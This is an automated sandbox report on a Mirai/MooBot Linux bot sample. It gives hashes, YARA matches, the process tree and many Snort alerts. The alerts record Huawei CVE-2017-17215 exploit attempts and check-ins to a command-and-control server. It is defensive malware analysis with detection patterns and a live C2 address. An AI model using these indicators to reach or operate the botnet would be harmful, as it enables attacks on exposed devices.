Edit tour

Linux Analysis Report
huhu.mpsl.elf

Overview

General Information

Sample name:	huhu.mpsl.elf
Analysis ID:	1387304
MD5:	2098aad4fe0a2888aad675b182103e8a
SHA1:	5708fd1c022c066a5b58d7f318a1d819dab59745
SHA256:	60c319eb8a4bd4c05979ff02d710c71bc506fc175ca34909d42637ba12ac2a50
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1387304
Start date and time:	2024-02-06 06:41:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	huhu.mpsl.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@19/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/huhu.mpsl.elf
PID:	5525
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

huhu.mpsl.elf (PID: 5525, Parent: 5445, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/huhu.mpsl.elf

huhu.mpsl.elf New Fork (PID: 5527, Parent: 5525)

huhu.mpsl.elf New Fork (PID: 5529, Parent: 5527)

huhu.mpsl.elf New Fork (PID: 5531, Parent: 5527)

huhu.mpsl.elf New Fork (PID: 5532, Parent: 5527)

huhu.mpsl.elf New Fork (PID: 5535, Parent: 5527)

gnome-session-binary New Fork (PID: 5538, Parent: 1498)

sh (PID: 5538, Parent: 1498, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5538, Parent: 1498, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gdm3 New Fork (PID: 5544, Parent: 1333)

Default (PID: 5544, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5558, Parent: 1333)

Default (PID: 5558, Parent: 1333, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5563, Parent: 1)

systemd-user-runtime-dir (PID: 5563, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
huhu.mpsl.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
huhu.mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
huhu.mpsl.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2634c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26360:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26374:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26388:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2639c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26400:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26414:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26428:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2643c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26450:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26464:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26478:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2648c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5525.1.00007fea18400000.00007fea1842a000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5525.1.00007fea18400000.00007fea1842a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5525.1.00007fea18400000.00007fea1842a000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2634c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26360:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26374:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26388:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2639c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x263ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26400:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26414:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26428:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2643c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26450:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26464:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26478:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2648c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x264dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: huhu.mpsl.elf PID: 5525	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: huhu.mpsl.elf PID: 5525	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x100e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1022:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1036:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x104a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1086:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x109a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10ae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10c2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10d6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1112:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1126:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x113a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1162:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1176:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x118a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 43.243.65.229

Timestamp:	192.168.2.1543.243.65.22933060372152835222 02/06/24-06:42:42.850346
SID:	2835222
Source Port:	33060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.186.22.158

Timestamp:	192.168.2.15192.186.22.15856696372152835222 02/06/24-06:42:55.730754
SID:	2835222
Source Port:	56696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.96.245

Timestamp:	192.168.2.1594.121.96.24541554372152835222 02/06/24-06:43:57.840243
SID:	2835222
Source Port:	41554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.254.63.26

Timestamp:	192.168.2.15197.254.63.2643942372152835222 02/06/24-06:42:53.278172
SID:	2835222
Source Port:	43942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.150.147

Timestamp:	192.168.2.15197.1.150.14757384372152829579 02/06/24-06:43:27.147903
SID:	2829579
Source Port:	57384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.96.83.32

Timestamp:	192.168.2.1534.96.83.3257566372152829579 02/06/24-06:43:41.317115
SID:	2829579
Source Port:	57566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549652199902030490 02/06/24-06:43:17.893920
SID:	2030490
Source Port:	49652
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549506199902030490 02/06/24-06:42:41.848591
SID:	2030490
Source Port:	49506
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.33.10.14

Timestamp:	192.168.2.1531.33.10.1441102372152829579 02/06/24-06:43:48.544656
SID:	2829579
Source Port:	41102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 43.243.65.229

Timestamp:	192.168.2.1543.243.65.22933060372152829579 02/06/24-06:42:42.850346
SID:	2829579
Source Port:	33060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549622199902030490 02/06/24-06:43:15.075252
SID:	2030490
Source Port:	49622
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549676199902030490 02/06/24-06:43:27.717803
SID:	2030490
Source Port:	49676
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549600199902030490 02/06/24-06:43:07.271199
SID:	2030490
Source Port:	49600
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.186.22.158

Timestamp:	192.168.2.15192.186.22.15856696372152829579 02/06/24-06:42:55.730754
SID:	2829579
Source Port:	56696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549846199902030490 02/06/24-06:44:06.377600
SID:	2030490
Source Port:	49846
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549422199902030490 02/06/24-06:42:06.802676
SID:	2030490
Source Port:	49422
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.33.10.14

Timestamp:	192.168.2.1531.33.10.1441102372152835222 02/06/24-06:43:48.544656
SID:	2835222
Source Port:	41102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.96.83.32

Timestamp:	192.168.2.1534.96.83.3257566372152835222 02/06/24-06:43:41.317115
SID:	2835222
Source Port:	57566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549446199902030490 02/06/24-06:42:26.429764
SID:	2030490
Source Port:	49446
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549424199902030490 02/06/24-06:42:15.613732
SID:	2030490
Source Port:	49424
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549752199902030490 02/06/24-06:43:52.734490
SID:	2030490
Source Port:	49752
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549452199902030490 02/06/24-06:42:28.222846
SID:	2030490
Source Port:	49452
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549710199902030490 02/06/24-06:43:32.515630
SID:	2030490
Source Port:	49710
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549796199902030490 02/06/24-06:43:59.565745
SID:	2030490
Source Port:	49796
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.155.204.220

Timestamp:	192.168.2.15164.155.204.22055028372152829579 02/06/24-06:42:53.434717
SID:	2829579
Source Port:	55028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549462199902030490 02/06/24-06:42:38.030327
SID:	2030490
Source Port:	49462
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549736199902030490 02/06/24-06:43:43.932017
SID:	2030490
Source Port:	49736
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.254.63.26

Timestamp:	192.168.2.15197.254.63.2643942372152829579 02/06/24-06:42:53.278172
SID:	2829579
Source Port:	43942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549564199902030490 02/06/24-06:42:58.456989
SID:	2030490
Source Port:	49564
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549734199902030490 02/06/24-06:43:42.143605
SID:	2030490
Source Port:	49734
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549532199902030490 02/06/24-06:42:50.649922
SID:	2030490
Source Port:	49532
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 103.174.73.85

Timestamp:	192.168.2.15103.174.73.8549728199902030490 02/06/24-06:43:38.327040
SID:	2030490
Source Port:	49728
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.96.245

Timestamp:	192.168.2.1594.121.96.24541554372152829579 02/06/24-06:43:57.840243
SID:	2829579
Source Port:	41554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.155.204.220

Timestamp:	192.168.2.15164.155.204.22055028372152835222 02/06/24-06:42:53.434717
SID:	2835222
Source Port:	55028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.150.147

Timestamp:	192.168.2.15197.1.150.14757384372152835222 02/06/24-06:43:27.147903
SID:	2835222
Source Port:	57384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: huhu.mpsl.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: huhu.mpsl.elf	Virustotal: Detection: 42%			Perma Link
Source: huhu.mpsl.elf	ReversingLabs: Detection: 55%

Source: huhu.mpsl.elf

String: /proc/proc/%d/cmdlinerwgetcurlbusyboxechocatnanotfptabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49422 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49424 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49446 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49452 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49462 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49506 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33060 -> 43.243.65.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33060 -> 43.243.65.229:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:49532 -> 103.174.73.85:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43942 -> 197.254.63.26:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43942 -> 197.254.63.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55028 -> 164.155.204.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55028 -> 164.155.204.220:37215
